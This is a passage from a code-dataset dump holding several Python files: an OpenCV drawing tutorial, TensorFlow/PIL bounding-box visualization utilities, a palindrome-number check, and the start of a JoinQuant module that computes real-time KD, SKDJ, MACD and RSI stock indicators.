np\n\n# blank image can be created as:\nblank = np.zeros((500,500,3), dtype='uint8') # (500,500,3) stands for (ht, wdth, no. of color channels)\ncv.imshow('Blank', blank)\n\n# we can also use cat image:\n# img = cv.imread('Resources/Photos/cat.jpg')\n# cv.imshow('Cat', img)\n\n# 1. Paint the image a certain color\nblank[:] = 0,0,255\ncv.imshow('Green', blank)\n\n# 2. Draw a rectangle\ncv.rectangle(blank, (0,0), (250,250), (0,255,0), thickness=2)\ncv.imshow('Rectangle', blank)\n\n# to half fill the \"blank\" with a green rectangle use:\n# cv.rectangle(blank, (0,0), (250,500)/(blank.shape[1]//2, blank.shape[0]//2), (0,255,0), thickness=cv.FILLED/-1)\n\n\n# 3. Draw a circle\ncv.circle(blank, (250,250), 40, (0,250,0), thickness=2)\ncv.imshow('Circle', blank)\n\n# 4. Draw a line\ncv.line(blank, (0, 0), (blank.shape[1]//2, blank.shape[0]//2), (255,255,244), thickness=3)\ncv.imshow('Line', blank)\n\n# 5. Text on an image\ncv.putText(blank, 'hello', (225,225), cv.FONT_HERSHEY_TRIPLEX, 1.0, (0,255,0), thickness=2)\ncv.imshow('Text', blank)\n\ncv.waitKey(0)\n\n# you can color a range of a particular pic by giving it a range:\n# blank[200:300, 300:400] = 0,0,255 \n# the above will produce a partly colored image\n","sub_path":"MyWork/shapes_text1.py","file_name":"shapes_text1.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"652146537","text":"\"\"\"\nA set of functions that are used for visualization.\n\"\"\"\nimport collections\nimport functools\nimport base64\n\nimport cv2\nimport numpy as np\nimport PIL.Image as Image\nimport PIL.ImageDraw as ImageDraw\nimport PIL.ImageFont as ImageFont\nimport tensorflow as tf\n\n\n_TITLE_LEFT_MARGIN = 10\n_TITLE_TOP_MARGIN = 10\nSTANDARD_COLORS = [\n 'AliceBlue', 'Chartreuse', 'Aqua', 'Aquamarine', 'Azure', 'Beige', 'Bisque',\n 'BlanchedAlmond', 'BlueViolet', 'BurlyWood', 'CadetBlue', 'AntiqueWhite',\n 'Chocolate', 'Coral', 'CornflowerBlue', 'Cornsilk', 'Crimson', 'Cyan',\n 'DarkCyan', 'DarkGoldenRod', 'DarkGrey', 'DarkKhaki', 'DarkOrange',\n 'DarkOrchid', 'DarkSalmon', 'DarkSeaGreen', 'DarkTurquoise', 'DarkViolet',\n 'DeepPink', 'DeepSkyBlue', 'DodgerBlue', 'FireBrick', 'FloralWhite',\n 'ForestGreen', 'Fuchsia', 'Gainsboro', 'GhostWhite', 'Gold', 'GoldenRod',\n 'Salmon', 'Tan', 'HoneyDew', 'HotPink', 'IndianRed', 'Ivory', 'Khaki',\n 'Lavender', 'LavenderBlush', 'LawnGreen', 'LemonChiffon', 'LightBlue',\n 'LightCoral', 'LightCyan', 'LightGoldenRodYellow', 'LightGray', 'LightGrey',\n 'LightGreen', 'LightPink', 'LightSalmon', 'LightSeaGreen', 'LightSkyBlue',\n 'LightSlateGray', 'LightSlateGrey', 'LightSteelBlue', 'LightYellow', 'Lime',\n 'LimeGreen', 'Linen', 'Magenta', 'MediumAquaMarine', 'MediumOrchid',\n 'MediumPurple', 'MediumSeaGreen', 'MediumSlateBlue', 'MediumSpringGreen',\n 'MediumTurquoise', 'MediumVioletRed', 'MintCream', 'MistyRose', 'Moccasin',\n 'NavajoWhite', 'OldLace', 'Olive', 'OliveDrab', 'Orange', 'OrangeRed',\n 'Orchid', 'PaleGoldenRod', 'PaleGreen', 'PaleTurquoise', 'PaleVioletRed',\n 'PapayaWhip', 'PeachPuff', 'Peru', 'Pink', 'Plum', 'PowderBlue', 'Purple',\n 'Red', 'RosyBrown', 'RoyalBlue', 'SaddleBrown', 'Green', 'SandyBrown',\n 'SeaGreen', 'SeaShell', 'Sienna', 'Silver', 'SkyBlue', 'SlateBlue',\n 'SlateGray', 'SlateGrey', 'Snow', 'SpringGreen', 'SteelBlue', 'GreenYellow',\n 'Teal', 'Thistle', 'Tomato', 'Turquoise', 'Violet', 'Wheat', 'White',\n 'WhiteSmoke', 'Yellow', 'YellowGreen'\n]\n\n\n\ndef draw_bounding_box_on_image_array(image,\n ymin,\n xmin,\n ymax,\n xmax,\n color='red',\n thickness=4,\n display_str_list=(),\n use_normalized_coordinates=True):\n \"\"\"Adds a bounding box to an image (numpy array).\n\n Bounding box coordinates can be specified in either absolute (pixel) or\n normalized coordinates by setting the use_normalized_coordinates argument.\n\n Args:\n image: a numpy array with shape [height, width, 3].\n ymin: ymin of bounding box.\n xmin: xmin of bounding box.\n ymax: ymax of bounding box.\n xmax: xmax of bounding box.\n color: color to draw bounding box. Default is red.\n thickness: line thickness. Default value is 4.\n display_str_list: list of strings to display in box\n (each to be shown on its own line).\n use_normalized_coordinates: If True (default), treat coordinates\n ymin, xmin, ymax, xmax as relative to the image. Otherwise treat\n coordinates as absolute.\n \"\"\"\n image_pil = Image.fromarray(np.uint8(image)).convert('RGB')\n draw_bounding_box_on_image(image_pil, ymin, xmin, ymax, xmax, color,\n thickness, display_str_list,\n use_normalized_coordinates)\n np.copyto(image, np.array(image_pil))\n\n\ndef draw_bounding_box_on_image(image,\n ymin,\n xmin,\n ymax,\n xmax,\n color='red',\n thickness=4,\n display_str_list=(),\n use_normalized_coordinates=True):\n \"\"\"Adds a bounding box to an image.\n\n Bounding box coordinates can be specified in either absolute (pixel) or\n normalized coordinates by setting the use_normalized_coordinates argument.\n\n Each string in display_str_list is displayed on a separate line above the\n bounding box in black text on a rectangle filled with the input 'color'.\n If the top of the bounding box extends to the edge of the image, the strings\n are displayed below the bounding box.\n\n Args:\n image: a PIL.Image object.\n ymin: ymin of bounding box.\n xmin: xmin of bounding box.\n ymax: ymax of bounding box.\n xmax: xmax of bounding box.\n color: color to draw bounding box. Default is red.\n thickness: line thickness. Default value is 4.\n display_str_list: list of strings to display in box\n (each to be shown on its own line).\n use_normalized_coordinates: If True (default), treat coordinates\n ymin, xmin, ymax, xmax as relative to the image. Otherwise treat\n coordinates as absolute.\n \"\"\"\n draw = ImageDraw.Draw(image)\n im_width, im_height = image.size\n if use_normalized_coordinates:\n (left, right, top, bottom) = (xmin * im_width, xmax * im_width,\n ymin * im_height, ymax * im_height)\n else:\n (left, right, top, bottom) = (xmin, xmax, ymin, ymax)\n draw.line([(left, top), (left, bottom), (right, bottom),\n (right, top), (left, top)], width=thickness, fill=color)\n try:\n font = ImageFont.truetype('arial.ttf', 24)\n except IOError:\n font = ImageFont.load_default()\n\n # If the total height of the display strings added to the top of the bounding\n # box exceeds the top of the image, stack the strings below the bounding box\n # instead of above.\n display_str_heights = [font.getsize(ds)[1] for ds in display_str_list]\n # Each display_str has a top and bottom margin of 0.05x.\n total_display_str_height = (1 + 2 * 0.05) * sum(display_str_heights)\n\n if top > total_display_str_height:\n text_bottom = top\n else:\n text_bottom = bottom + total_display_str_height\n # Reverse list and print from bottom to top.\n for display_str in display_str_list[::-1]:\n text_width, text_height = font.getsize(display_str)\n margin = np.ceil(0.05 * text_height)\n draw.rectangle(\n [(left, text_bottom - text_height - 2 * margin), (left + text_width,\n text_bottom)],\n fill=color)\n draw.text(\n (left + margin, text_bottom - text_height - margin),\n display_str,\n fill='black',\n font=font)\n text_bottom -= text_height - 2 * margin\n\n\ndef draw_bounding_boxes_on_image_array(image,\n boxes,\n color='red',\n thickness=4,\n display_str_list_list=()):\n \"\"\"Draws bounding boxes on image (numpy array).\n\n Args:\n image: a numpy array object.\n boxes: a 2 dimensional numpy array of [N, 4]: (ymin, xmin, ymax, xmax).\n The coordinates are in normalized format between [0, 1].\n color: color to draw bounding box. Default is red.\n thickness: line thickness. Default value is 4.\n display_str_list_list: list of list of strings.\n a list of strings for each bounding box.\n The reason to pass a list of strings for a\n bounding box is that it might contain\n multiple labels.\n\n Raises:\n ValueError: if boxes is not a [N, 4] array\n \"\"\"\n image_pil = Image.fromarray(image)\n draw_bounding_boxes_on_image(image_pil, boxes, color, thickness,\n display_str_list_list)\n np.copyto(image, np.array(image_pil))\n\n\ndef draw_bounding_boxes_on_image(image,\n boxes,\n color='red',\n thickness=4,\n display_str_list_list=()):\n \"\"\"Draws bounding boxes on image.\n\n Args:\n image: a PIL.Image object.\n boxes: a 2 dimensional numpy array of [N, 4]: (ymin, xmin, ymax, xmax).\n The coordinates are in normalized format between [0, 1].\n color: color to draw bounding box. Default is red.\n thickness: line thickness. Default value is 4.\n display_str_list_list: list of list of strings.\n a list of strings for each bounding box.\n The reason to pass a list of strings for a\n bounding box is that it might contain\n multiple labels.\n\n Raises:\n ValueError: if boxes is not a [N, 4] array\n \"\"\"\n boxes_shape = boxes.shape\n if not boxes_shape:\n return\n if len(boxes_shape) != 2 or boxes_shape[1] != 4:\n raise ValueError('Input must be of size [N, 4]')\n for i in range(boxes_shape[0]):\n display_str_list = ()\n if display_str_list_list:\n display_str_list = display_str_list_list[i]\n draw_bounding_box_on_image(image, boxes[i, 0], boxes[i, 1], boxes[i, 2],\n boxes[i, 3], color, thickness, display_str_list)\n\n\ndef _visualize_boxes(image, boxes, classes, scores, category_index, **kwargs):\n return visualize_boxes_and_labels_on_image_array(\n image, boxes, classes, scores, category_index=category_index, **kwargs)\n\n\ndef _visualize_boxes_and_masks(image, boxes, classes, scores, masks,\n category_index, **kwargs):\n return visualize_boxes_and_labels_on_image_array(\n image,\n boxes,\n classes,\n scores,\n category_index=category_index,\n instance_masks=masks,\n **kwargs)\n\n\ndef _visualize_boxes_and_keypoints(image, boxes, classes, scores, keypoints,\n category_index, **kwargs):\n return visualize_boxes_and_labels_on_image_array(\n image,\n boxes,\n classes,\n scores,\n category_index=category_index,\n keypoints=keypoints,\n **kwargs)\n\n\ndef _visualize_boxes_and_masks_and_keypoints(\n image, boxes, classes, scores, masks, keypoints, category_index, **kwargs):\n return visualize_boxes_and_labels_on_image_array(\n image,\n boxes,\n classes,\n scores,\n category_index=category_index,\n instance_masks=masks,\n keypoints=keypoints,\n **kwargs)\n\n\ndef draw_bounding_boxes_on_image_tensors(images,\n boxes,\n classes,\n scores,\n category_index,\n instance_masks=None,\n keypoints=None,\n max_boxes_to_draw=20,\n min_score_thresh=0.2):\n \"\"\"Draws bounding boxes, masks, and keypoints on batch of image tensors.\n\n Args:\n images: A 4D uint8 image tensor of shape [N, H, W, C].\n boxes: [N, max_detections, 4] float32 tensor of detection boxes.\n classes: [N, max_detections] int tensor of detection classes. Note that\n classes are 1-indexed.\n scores: [N, max_detections] float32 tensor of detection scores.\n category_index: a dict that maps integer ids to category dicts. e.g.\n {1: {1: 'dog'}, 2: {2: 'cat'}, ...}\n instance_masks: A 4D uint8 tensor of shape [N, max_detection, H, W] with\n instance masks.\n keypoints: A 4D float32 tensor of shape [N, max_detection, num_keypoints, 2]\n with keypoints.\n max_boxes_to_draw: Maximum number of boxes to draw on an image. Default 20.\n min_score_thresh: Minimum score threshold for visualization. Default 0.2.\n\n Returns:\n 4D image tensor of type uint8, with boxes drawn on top.\n \"\"\"\n visualization_keyword_args = {\n 'use_normalized_coordinates': True,\n 'max_boxes_to_draw': max_boxes_to_draw,\n 'min_score_thresh': min_score_thresh,\n 'agnostic_mode': False,\n 'line_thickness': 4\n }\n\n if instance_masks is not None and keypoints is None:\n visualize_boxes_fn = functools.partial(\n _visualize_boxes_and_masks,\n category_index=category_index,\n **visualization_keyword_args)\n elems = [images, boxes, classes, scores, instance_masks]\n elif instance_masks is None and keypoints is not None:\n visualize_boxes_fn = functools.partial(\n _visualize_boxes_and_keypoints,\n category_index=category_index,\n **visualization_keyword_args)\n elems = [images, boxes, classes, scores, keypoints]\n elif instance_masks is not None and keypoints is not None:\n visualize_boxes_fn = functools.partial(\n _visualize_boxes_and_masks_and_keypoints,\n category_index=category_index,\n **visualization_keyword_args)\n elems = [images, boxes, classes, scores, instance_masks, keypoints]\n else:\n visualize_boxes_fn = functools.partial(\n _visualize_boxes,\n category_index=category_index,\n **visualization_keyword_args)\n elems = [images, boxes, classes, scores]\n\n def draw_boxes(image_and_detections):\n \"\"\"Draws boxes on image.\"\"\"\n image_with_boxes = tf.py_func(visualize_boxes_fn, image_and_detections,\n tf.uint8)\n return image_with_boxes\n\n images = tf.map_fn(draw_boxes, elems, dtype=tf.uint8, back_prop=False)\n return images\n\n\n\n\n\n\ndef visualize_boxes_and_labels_on_image_array(\n image,\n boxes,\n classes,\n scores,\n category_index,\n instance_masks=None,\n instance_boundaries=None,\n keypoints=None,\n use_normalized_coordinates=False,\n max_boxes_to_draw=20,\n min_score_thresh=.5,\n agnostic_mode=False,\n line_thickness=4,\n groundtruth_box_visualization_color='black',\n skip_scores=False,\n skip_labels=False):\n \"\"\"Overlay labeled boxes on an image with formatted scores and label names.\n\n This function groups boxes that correspond to the same location\n and creates a display string for each detection and overlays these\n on the image. Note that this function modifies the image in place, and returns\n that same image.\n\n Args:\n image: uint8 numpy array with shape (img_height, img_width, 3)\n boxes: a numpy array of shape [N, 4]\n classes: a numpy array of shape [N]. Note that class indices are 1-based,\n and match the keys in the label map.\n scores: a numpy array of shape [N] or None. If scores=None, then\n this function assumes that the boxes to be plotted are groundtruth\n boxes and plot all boxes as black with no classes or scores.\n category_index: a dict containing category dictionaries (each holding\n category index `id` and category name `name`) keyed by category indices.\n instance_masks: a numpy array of shape [N, image_height, image_width] with\n values ranging between 0 and 1, can be None.\n instance_boundaries: a numpy array of shape [N, image_height, image_width]\n with values ranging between 0 and 1, can be None.\n keypoints: a numpy array of shape [N, num_keypoints, 2], can\n be None\n use_normalized_coordinates: whether boxes is to be interpreted as\n normalized coordinates or not.\n max_boxes_to_draw: maximum number of boxes to visualize. If None, draw\n all boxes.\n min_score_thresh: minimum score threshold for a box to be visualized\n agnostic_mode: boolean (default: False) controlling whether to evaluate in\n class-agnostic mode or not. This mode will display scores but ignore\n classes.\n line_thickness: integer (default: 4) controlling line width of the boxes.\n groundtruth_box_visualization_color: box color for visualizing groundtruth\n boxes\n skip_scores: whether to skip score when drawing a single detection\n skip_labels: whether to skip label when drawing a single detection\n\n Returns:\n uint8 numpy array with shape (img_height, img_width, 3) with overlaid boxes.\n \"\"\"\n # Create a display string (and color) for every box location, group any boxes\n # that correspond to the same location.\n box_to_display_str_map = collections.defaultdict(list)\n box_to_color_map = collections.defaultdict(str)\n\n if not max_boxes_to_draw:\n max_boxes_to_draw = boxes.shape[0]\n for i in range(min(max_boxes_to_draw, boxes.shape[0])):\n if scores is None or scores[i] > min_score_thresh:\n box = tuple(boxes[i].tolist())\n\n if scores is None:\n box_to_color_map[box] = groundtruth_box_visualization_color\n else:\n display_str = ''\n if not skip_labels:\n if not agnostic_mode:\n if classes[i] in category_index.keys():\n class_name = category_index[classes[i]]['name']\n else:\n class_name = 'N/A'\n display_str = str(class_name)\n if not skip_scores:\n if not display_str:\n display_str = '{} %'.format(int(100*scores[i]))\n else:\n display_str = '{}: {} %'.format(display_str, int(100*scores[i]))\n box_to_display_str_map[box].append(display_str)\n if agnostic_mode:\n box_to_color_map[box] = 'DarkOrange'\n else:\n box_to_color_map[box] = STANDARD_COLORS[\n classes[i] % len(STANDARD_COLORS)]\n\n # Draw all boxes onto image.\n for box, color in box_to_color_map.items():\n ymin, xmin, ymax, xmax = box\n\n draw_bounding_box_on_image_array(\n image,\n ymin,\n xmin,\n ymax,\n xmax,\n color=color,\n thickness=line_thickness,\n display_str_list=box_to_display_str_map[box],\n use_normalized_coordinates=use_normalized_coordinates)\n\n return image\n\n\n\ndef overLayUnetPredictionsOnImage(imageIn, imUnetOutRealSize):\n imUnetOutRealSize.dtype='uint8'\n unetOverlay = cv2.cvtColor(imUnetOutRealSize*255, cv2.COLOR_GRAY2BGR)\n unetOverlay[:,:,0] = 0\n unetOverlay[:,:,2] = 0\n\n opacity = 0.2\n overIm = cv2.addWeighted(unetOverlay, opacity, imageIn, 1 - opacity, 0)\n\n return overIm\n\n\n\n\ndef drawRoiBoundaryPoints(image_np, boundaryPoints):\n for i in range(boundaryPoints.shape[0]-1):\n start = tuple(boundaryPoints[i][0])\n end = tuple(boundaryPoints[i+1][0])\n cv2.line(image_np,start,end,[255,0,0],2)\n cv2.circle(image_np,start,5,[0,0,255],-1)\n\n #connect the last point too\n start = tuple(boundaryPoints[boundaryPoints.shape[0]-1][0])\n cv2.circle(image_np,start,5,[0,0,255],-1)\n cv2.line(image_np,tuple(boundaryPoints[0][0]),tuple(\\\n boundaryPoints[boundaryPoints.shape[0]-1][0]),[255,0,0],2)\n\n\n\ndef encodeImageAsBase64(input_image_np):\n _, buffer = cv2.imencode('.jpg', input_image_np)\n jpg_as_text = str(base64.b64encode(buffer), encoding='ascii')\n\n return jpg_as_text\n\n\n\ndef visualizeAllResults(inputImage_np, roi_actualSize, bestBoundary, bucketScore,\\\n matInsideBoundary, matInsideScore, caseBoundary, caseScore, bucketLeftEdge, bucketRightEdge,\\\n bucketMidEdge, approximated_roi_boundary):\n outputRoiOverlayed = overLayUnetPredictionsOnImage(inputImage_np, roi_actualSize)\n\n if len(bestBoundary) == 4:\n # draw best boundary\n display_str = ' ' + str(int(100*bucketScore)) + ' %'\n ymin, xmin, ymax, xmax = bestBoundary\n\n\n draw_bounding_box_on_image_array(\n outputRoiOverlayed,\n ymin,\n xmin,\n ymax,\n xmax,\n color='Yellow',\n thickness=4,\n display_str_list=[display_str],\n use_normalized_coordinates=True)\n\n\n\n if len(matInsideBoundary) == 4:\n display_str = ' ' + str(int(100*matInsideScore)) + ' %'\n ymin, xmin, ymax, xmax = matInsideBoundary\n\n\n draw_bounding_box_on_image_array(\n outputRoiOverlayed,\n ymin,\n xmin,\n ymax,\n xmax,\n color='Blue',\n thickness=4,\n display_str_list=[display_str],\n use_normalized_coordinates=True)\n\n\n if len(caseBoundary) == 4:\n display_str = ' ' + str(int(100*caseScore)) + ' %'\n ymin, xmin, ymax, xmax = caseBoundary\n\n\n draw_bounding_box_on_image_array(\n outputRoiOverlayed,\n ymin,\n xmin,\n ymax,\n xmax,\n color='Orange',\n thickness=4,\n display_str_list=[display_str],\n use_normalized_coordinates=True)\n\n\n \n #Draw the bucket edges\n if len(bucketLeftEdge) == 2 and len(bucketRightEdge) == 2 and len(bucketMidEdge) == 2:\n cv2.line(outputRoiOverlayed, bucketLeftEdge[0], bucketLeftEdge[1],[255,0,255],4)\n cv2.line(outputRoiOverlayed, bucketRightEdge[0], bucketRightEdge[1],[255,0,255],4)\n cv2.line(outputRoiOverlayed, bucketMidEdge[0], bucketMidEdge[1],[255,0,255],4)\n\n\n\n if len(approximated_roi_boundary) > 2:\n drawRoiBoundaryPoints(outputRoiOverlayed, approximated_roi_boundary)\n\n outputRoiAndBoundingBoxAndBoundaryOverlayed_string = encodeImageAsBase64(outputRoiOverlayed)\n\n return outputRoiAndBoundingBoxAndBoundaryOverlayed_string","sub_path":"fmdl_algo/utils/visualizationUtils.py","file_name":"visualizationUtils.py","file_ext":"py","file_size_in_byte":20984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"159272515","text":"x = 1\nchecker = 0\n\nif x < 0 or (x % 10 == 0 and x != 0):\n print (False)\n\nwhile x > checker:\n checker = checker * 10 + (x % 10)\n x = x // 10\n\nprint(x == checker or x == checker // 10)\n","sub_path":"9_Palindrome/truemathapproach.py","file_name":"truemathapproach.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"598745873","text":"# coding:utf-8\n\"\"\"\n@author: leonardo\n@created time: 2018-09-28\n@last modified time:2018-10-10\n\"\"\"\nimport abc, six, math\nfrom jqlib.technical_analysis import *\nfrom jqdata import *\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass IQuant():\n \"\"\"\n 基于聚宽分钟(及tick)回测框架计算日线的实时指标接口,在分钟回测中使用self.handle_data(),在tick回测中使用self.handle_tick()两者只能二选一\n \"\"\"\n\n @abc.abstractmethod\n def before_market_open(self, context):\n \"\"\"\n 在开盘之前执行\n :param context:\n :return:\n \"\"\"\n pass\n\n @abc.abstractmethod\n def after_market_close(self, context):\n \"\"\"\n 在收盘之后执行\n ps:在此函数中需要执行一遍self._eval()是因为handle_data只执行到14:59就结束,收盘的数据15:00需要再次计算\n :param context:\n :return:\n \"\"\"\n pass\n\n @abc.abstractmethod\n def handle_data(self, context, data):\n \"\"\"\n 在盘中(handle_data)执行\n :param context:\n :param data:\n :return:\n \"\"\"\n pass\n\n @abc.abstractmethod\n def handle_tick(self, context, tick):\n \"\"\"\n 在盘中(handle_tick)执行\n :param context:\n :param tick:\n :return:\n \"\"\"\n pass\n\n @abc.abstractmethod\n def value(self):\n \"\"\"\n 返回指标\n :return:\n \"\"\"\n pass\n\n @abc.abstractmethod\n def check(self):\n \"\"\"\n 决定是否买卖\n {negative:sell;0:none;positive:buy}\n :return:\n \"\"\"\n pass\n\n @abc.abstractmethod\n def to_string(self):\n \"\"\"\n 用于打印指标(方便测试)\n :return:\n \"\"\"\n pass\n\n\nclass KD_Real(IQuant):\n \"\"\"\n RSV:=(CLOSE-LLV(LOW,N))/(HHV(HIGH,N)-LLV(LOW,N))*100;\n K:SMA(RSV,M1,1);\n D:SMA(K,M2,1);\n \"\"\"\n\n def __init__(self, security, N=5, M1=3, M2=3):\n self._value = {}\n self._security = security\n self._N = N\n self._M1 = M1\n self._M2 = M2\n\n self._value['K'] = None\n self._value['D'] = None\n\n self._rate = 1 + 0.015 * N # 假定在过去(N*2-1)个交易日最高最低价超过一定比率\n\n def before_market_open(self, context):\n if self._value['K'] is None: # first init\n K_, D_ = KD([self._security], check_date=context.previous_date.strftime('%Y-%m-%d'), N=self._N, M1=self._M1,\n M2=self._M2)\n self._value['K_'] = K_[self._security]\n self._value['D_'] = D_[self._security]\n else: # update today data as previous data\n self._value['K_'] = self._value['K']\n self._value['D_'] = self._value['D']\n self._previous_date = context.previous_date.strftime('%Y-%m-%d')\n # 由于存在复权,hhv和llv可能会有所改变,所以需要每天重新初始化\n bars = get_price(self._security, end_date=self._previous_date, frequency='1d',\n fields=['high', 'low', 'close'], skip_paused=True, count=self._N - 1)\n self._value['hhv'] = max(bars['high'])\n self._value['llv'] = min(bars['low'])\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close, close, close)\n\n def handle_data(self, context, data):\n self._eval(high=data[self._security].high, low=data[self._security].low, close=data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current, tick.current, tick.current)\n\n def _eval(self, high, low, close):\n self._current_price = close\n if high > self._value['hhv']:\n self._value['hhv'] = high\n elif low < self._value['llv']:\n self._value['llv'] = low\n rsv = 100.0 * (close - self._value['llv']) / (self._value['hhv'] - self._value['llv'])\n self._value['K'] = (rsv + (self._M1 - 1) * self._value['K_']) / self._M1\n self._value['D'] = (self._value['K'] + (self._M2 - 1) * self._value['D_']) / self._M2\n\n def value(self):\n return self._value\n\n def check(self):\n if self._value['K_'] < self._value['D_']:\n if self._value['K'] > self._value['D']: # 金叉\n return 1\n # bars = get_price(self._security, end_date=self._previous_date, frequency='1d',\n # fields=['high', 'low'], skip_paused=True, count=(self._N * 2 - 1))\n # hhv = max(bars['high'])\n # llv = min(bars['low'])\n # if hhv / llv >= self._rate and self._current_price < (hhv + llv) / 2.0:\n # return 1\n elif self._value['K_'] > self._value['D_']:\n if self._value['K'] < self._value['D']: # 死叉\n return -1\n return 0\n\n def to_string(self):\n return '{K:' + str(self._value['K']) + ' D:' + str(self._value['D']) + '}'\n\n\nclass SKDJ_Real(IQuant):\n \"\"\"\n LOWV:=LLV(LOW,N);\n HIGHV:=HHV(HIGH,N);\n RSV:=EMA((CLOSE-LOWV)/(HIGHV-LOWV)*100,M);#区别于KD指标,该指标更平滑\n K:EMA(RSV,M);\n D:MA(K,M);\n \"\"\"\n\n def __init__(self, security, N=5, M=3):\n self._value = {}\n self._security = security\n self._N = N\n self._M = M\n\n self._value['K'] = None\n self._value['D'] = None\n\n alpha = 2.0 / (M + 1)\n self._need_N = int(math.log(0.00001 / alpha, 1 - alpha))\n\n def before_market_open(self, context):\n self._previous_date = context.previous_date.strftime('%Y-%m-%d')\n if self._value['K'] is None: # first init\n trade_days = get_trade_days(end_date=context.previous_date, count=self._M - 1)\n self._K_list = []\n for day in trade_days:\n K_, D_ = SKDJ([self._security], check_date=day.strftime('%Y-%m-%d'), N=self._N, M=self._M)\n self._K_list.append(K_[self._security])\n self._value['K_'] = K_[self._security]\n self._value['D_'] = D_[self._security]\n\n self._rsv_list = []\n tmp_bars = get_price(self._security, end_date=self._previous_date, frequency='1d',\n fields=['high', 'low', 'close'], skip_paused=True,\n count=self._need_N + self._M + self._N - 2)\n highs = tmp_bars['high']\n lows = tmp_bars['low']\n closes = tmp_bars['close']\n tmp_rsv_list = []\n for i in range(self._need_N + self._M - 1):\n lowv = min(lows[i:i + self._N])\n highv = max(highs[i:i + self._N])\n tmp_rsv_list.append(100 * (closes[i + self._N - 1] - lowv) / (highv - lowv))\n for i in range(self._M - 1):\n self._rsv_list.append(sma_cn(tmp_rsv_list[i:i + self._need_N + 1], n=self._M + 1, m=2))\n\n else: # update today data as previous data\n self._value['K_'] = self._value['K']\n self._value['D_'] = self._value['D']\n\n # 由于存在复权,hhv和llv可能会有所改变,所以需要每天重新初始化\n bars = get_price(self._security, end_date=self._previous_date, frequency='1d',\n fields=['high', 'low'], skip_paused=True, count=self._N - 1)\n self._value['hhv'] = max(bars['high'])\n self._value['llv'] = min(bars['low'])\n self._sum_k = sum(self._K_list)\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close, close, close)\n\n self._rsv_list.pop(0)\n self._rsv_list.append(self._rsv)\n self._K_list.pop(0)\n self._K_list.append(self._value['K'])\n\n def handle_data(self, context, data):\n self._eval(high=data[self._security].high, low=data[self._security].low, close=data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current, tick.current, tick.current)\n\n def _eval(self, high, low, close):\n self._current_price = close\n if high > self._value['hhv']:\n self._value['hhv'] = high\n elif low < self._value['llv']:\n self._value['llv'] = low\n self._rsv = (self._rsv_list[-1] * (self._M - 1) + 200.0 * (close - self._value['llv']) / (\n self._value['hhv'] - self._value['llv'])) / (self._M + 1)\n\n self._value['K'] = (self._rsv * 2 + (self._M - 1) * self._value['K_']) / (self._M + 1)\n self._value['D'] = (self._sum_k + self._value['K']) / self._M\n\n def value(self):\n return self._value\n\n def check(self):\n if self._value['K_'] < self._value['D_']:\n if self._value['K'] > self._value['D']: # 金叉\n return 1\n elif self._value['K_'] > self._value['D_']:\n if self._value['K'] < self._value['D']: # 死叉\n return -1\n return 0\n\n def to_string(self):\n return '{K:' + str(self._value['K']) + ' D:' + str(self._value['D']) + '}'\n\n\nclass MACD_Real(IQuant):\n \"\"\"\n DIF:EMA(CLOSE,SHORT)-EMA(CLOSE,LONG);\n DEA:EMA(DIF,MID);\n MACD:(DIF-DEA)*2\n \"\"\"\n\n def __init__(self, security, short=12, long=26, mid=9):\n self._value = {}\n\n self._security = security\n self._short = short\n self._long = long\n self._mid = mid\n\n self._value['dif'] = None\n self._value['dea'] = None\n self._value['macd'] = None\n\n def before_market_open(self, context):\n\n if self._value['dif'] is None:\n self._value['short_ema_'] = \\\n EMA([self._security], check_date=context.previous_date.strftime('%Y-%m-%d'), timeperiod=self._short)[\n self._security]\n self._value['long_ema_'] = EMA([self._security], check_date=context.previous_date.strftime('%Y-%m-%d'),\n timeperiod=self._long)[self._security]\n dif, dea, macd = MACD([self._security], check_date=context.previous_date.strftime('%Y-%m-%d'),\n SHORT=self._short, LONG=self._long, MID=self._mid)\n self._value['dif_'] = dif[self._security]\n self._value['dea_'] = dea[self._security]\n else: # 以下四个参数与close是线性关系,所以复权后也不会改变,可以直接使用\n self._value['short_ema_'] = self._value['short_ema']\n self._value['long_ema_'] = self._value['long_ema']\n self._value['dif_'] = self._value['dif']\n self._value['dea_'] = self._value['dea']\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close)\n\n def handle_data(self, context, data):\n self._eval(data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current)\n\n def _eval(self, close):\n self._value['short_ema'] = (2 * close + (self._short - 1) * self._value['short_ema_']) / (\n self._short + 1.0)\n self._value['long_ema'] = (2 * close + (self._long - 1) * self._value['long_ema_']) / (\n self._long + 1.0)\n self._value['dif'] = self._value['short_ema'] - self._value['long_ema']\n self._value['dea'] = (2 * self._value['dif'] + (self._mid - 1) * self._value['dea_']) / (self._mid + 1.0)\n self._value['macd'] = 2 * (self._value['dif'] - self._value['dea'])\n\n def value(self):\n return self._value\n\n def check(self):\n if self._value['dif_'] < self._value['dea_']:\n if self._value['dif'] > self._value['dea']: # 金叉\n return 1\n elif self._value['dif_'] > self._value['dea_']:\n if self._value['dif'] < self._value['dea']: # 死叉\n return -1\n return 0\n\n def to_string(self):\n return '{dif:' + str(self._value['dif']) + ' dea:' + str(self._value['dea']) + ' macd:' + str(\n self._value['macd']) + '}'\n\n\nclass RSI_Real(IQuant):\n \"\"\"\n LC:=REF(CLOSE,1);\n RSI1:SMA(MAX(CLOSE-LC,0),N1,1)/SMA(ABS(CLOSE-LC),N1,1)*100;\n RSI2:SMA(MAX(CLOSE-LC,0),N2,1)/SMA(ABS(CLOSE-LC),N2,1)*100;\n 